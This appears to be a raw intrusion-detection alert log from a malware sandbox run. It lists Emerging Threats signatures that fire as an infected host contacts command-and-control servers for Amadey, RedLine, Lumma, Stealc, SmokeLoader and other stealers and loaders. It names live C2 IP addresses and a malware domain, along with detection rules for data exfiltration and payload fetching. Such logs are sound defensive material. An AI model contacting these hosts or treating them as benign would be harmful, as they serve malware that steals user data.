Timestamp:	192.168.2.45.42.65.8049804802027700 07/27/23-18:27:36.814093
SID:	2027700
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049804802044695 07/27/23-18:27:36.814093
SID:	2044695
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 51.89.201.49

Timestamp:	192.168.2.451.89.201.494974769322043231 07/27/23-18:27:37.320025
SID:	2043231
Source Port:	49747
Destination Port:	6932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049839802044695 07/27/23-18:27:41.877546
SID:	2044695
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049893802027700 07/27/23-18:27:50.407681
SID:	2027700
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849974802045057 07/27/23-18:27:58.955890
SID:	2045057
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049796802044695 07/27/23-18:27:35.605498
SID:	2044695
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849838802045057 07/27/23-18:27:43.353527
SID:	2045057
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050039802027700 07/27/23-18:28:06.311162
SID:	2027700
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.750011802043206 07/27/23-18:28:01.336122
SID:	2043206
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049822802044695 07/27/23-18:27:39.595818
SID:	2044695
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049935802027700 07/27/23-18:27:54.874546
SID:	2027700
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049805802027700 07/27/23-18:27:37.016040
SID:	2027700
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049911802044695 07/27/23-18:27:53.652703
SID:	2044695
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050007802044695 07/27/23-18:28:00.693339
SID:	2044695
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050010802027700 07/27/23-18:28:01.266649
SID:	2027700
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749931802043206 07/27/23-18:27:54.683628
SID:	2043206
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749960802043206 07/27/23-18:27:56.876927
SID:	2043206
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050025802044695 07/27/23-18:28:03.989312
SID:	2044695
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050033802027700 07/27/23-18:28:05.161911
SID:	2027700
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.852437532045695 07/27/23-18:27:20.690297
SID:	2045695
Source Port:	52437
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.864906532045695 07/27/23-18:26:58.396126
SID:	2045695
Source Port:	64906
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049775802027700 07/27/23-18:27:30.711121
SID:	2027700
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049981802044695 07/27/23-18:27:58.124908
SID:	2044695
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049988802027700 07/27/23-18:27:58.492556
SID:	2027700
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049744802027700 07/27/23-18:27:23.390200
SID:	2027700
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049842802027700 07/27/23-18:27:42.354378
SID:	2027700
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849739802045057 07/27/23-18:27:24.129411
SID:	2045057
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer Activity (Response) - Source IP: 51.89.201.49 - Destination IP: 192.168.2.4

Timestamp:	51.89.201.49192.168.2.46932497512046056 07/27/23-18:27:31.730010
SID:	2046056
Source Port:	6932
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049959802044695 07/27/23-18:27:56.813648
SID:	2044695
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050023802027700 07/27/23-18:28:03.291973
SID:	2027700
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.853511532014169 07/27/23-18:27:46.771759
SID:	2014169
Source Port:	53511
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050000802044695 07/27/23-18:27:59.739361
SID:	2044695
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049965802044695 07/27/23-18:27:57.250470
SID:	2044695
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049778802044695 07/27/23-18:27:31.006409
SID:	2044695
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049876802044695 07/27/23-18:27:48.754883
SID:	2044695
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 190.139.250.133

Timestamp:	192.168.2.4190.139.250.13349784802020826 07/27/23-18:27:31.776362
SID:	2020826
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049800802044695 07/27/23-18:27:36.237632
SID:	2044695
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049867802044695 07/27/23-18:27:47.671311
SID:	2044695
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050003802044695 07/27/23-18:28:00.099540
SID:	2044695
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049827802027700 07/27/23-18:27:40.254584
SID:	2027700
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049836802027700 07/27/23-18:27:41.478855
SID:	2027700
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749982802043206 07/27/23-18:27:58.123150
SID:	2043206
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049820802027700 07/27/23-18:27:39.405033
SID:	2027700
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049725802027700 07/27/23-18:27:21.486110
SID:	2027700
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749915802043206 07/27/23-18:27:53.882717
SID:	2043206
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049902802044695 07/27/23-18:27:53.227235
SID:	2044695
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050036802027700 07/27/23-18:28:05.712903
SID:	2027700
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049882802044695 07/27/23-18:27:49.488669
SID:	2044695
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049944802027700 07/27/23-18:27:55.656173
SID:	2027700
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049787802044695 07/27/23-18:27:31.828761
SID:	2044695
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049991802027700 07/27/23-18:27:58.716334
SID:	2027700
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 211.171.233.129

Timestamp:	192.168.2.4211.171.233.12949732802036333 07/27/23-18:27:22.491909
SID:	2036333
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049848802044695 07/27/23-18:27:46.523855
SID:	2044695
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049759802044695 07/27/23-18:27:29.063771
SID:	2044695
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049889802044695 07/27/23-18:27:50.056615
SID:	2044695
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050016802044695 07/27/23-18:28:02.730584
SID:	2044695
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749922802043206 07/27/23-18:27:54.313460
SID:	2043206
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049730802044695 07/27/23-18:27:22.123798
SID:	2044695
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049895802044695 07/27/23-18:27:50.729753
SID:	2044695
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049984802044695 07/27/23-18:27:58.309871
SID:	2044695
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049813802044695 07/27/23-18:27:38.592958
SID:	2044695
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749990802043206 07/27/23-18:27:58.638605
SID:	2043206
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749963802043206 07/27/23-18:27:57.066248
SID:	2043206
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 51.89.201.49

Timestamp:	192.168.2.451.89.201.494974769322046045 07/27/23-18:27:24.178390
SID:	2046045
Source Port:	49747
Destination Port:	6932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049896802027700 07/27/23-18:27:51.712468
SID:	2027700
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049860802044695 07/27/23-18:27:46.706954
SID:	2044695
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049938802027700 07/27/23-18:27:55.077331
SID:	2027700
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049766802027700 07/27/23-18:27:29.628346
SID:	2027700
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049808802027700 07/27/23-18:27:37.808371
SID:	2027700
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.851320532014169 07/27/23-18:27:49.107279
SID:	2014169
Source Port:	51320
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10850029802045057 07/27/23-18:28:05.559997
SID:	2045057
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049817802044695 07/27/23-18:27:38.986742
SID:	2044695
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049878802044695 07/27/23-18:27:49.134079
SID:	2044695
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049801802027700 07/27/23-18:27:36.472870
SID:	2027700
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049820802044695 07/27/23-18:27:39.405033
SID:	2044695
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049914802027700 07/27/23-18:27:53.847830
SID:	2027700
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049961802044695 07/27/23-18:27:57.062232
SID:	2044695
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049764802027700 07/27/23-18:27:29.334695
SID:	2027700
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049900802044695 07/27/23-18:27:52.947506
SID:	2044695
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049737802044695 07/27/23-18:27:22.664584
SID:	2044695
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049863802044695 07/27/23-18:27:47.087600
SID:	2044695
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049782802027700 07/27/23-18:27:31.319911
SID:	2027700
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049880802027700 07/27/23-18:27:49.318195
SID:	2027700
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050031802027700 07/27/23-18:28:04.797949
SID:	2027700
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050032802044695 07/27/23-18:28:04.981227
SID:	2044695
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049862802027700 07/27/23-18:27:46.899338
SID:	2027700
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049834802027700 07/27/23-18:27:41.045390
SID:	2027700
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749996802043206 07/27/23-18:27:58.993636
SID:	2043206
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049797802027700 07/27/23-18:27:35.995165
SID:	2027700
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049895802027700 07/27/23-18:27:50.729753
SID:	2027700
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049835802044695 07/27/23-18:27:41.278383
SID:	2044695
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 193.106.174.125

Timestamp:	192.168.2.4193.106.174.12549851802044244 07/27/23-18:27:44.574972
SID:	2044244
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049957802027700 07/27/23-18:27:56.537515
SID:	2027700
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 51.89.201.49

Timestamp:	192.168.2.451.89.201.494975169322046045 07/27/23-18:27:26.570108
SID:	2046045
Source Port:	49751
Destination Port:	6932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049896802044695 07/27/23-18:27:51.712468
SID:	2044695
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050028802027700 07/27/23-18:28:04.420774
SID:	2027700
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049877802027700 07/27/23-18:27:48.944804
SID:	2027700
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

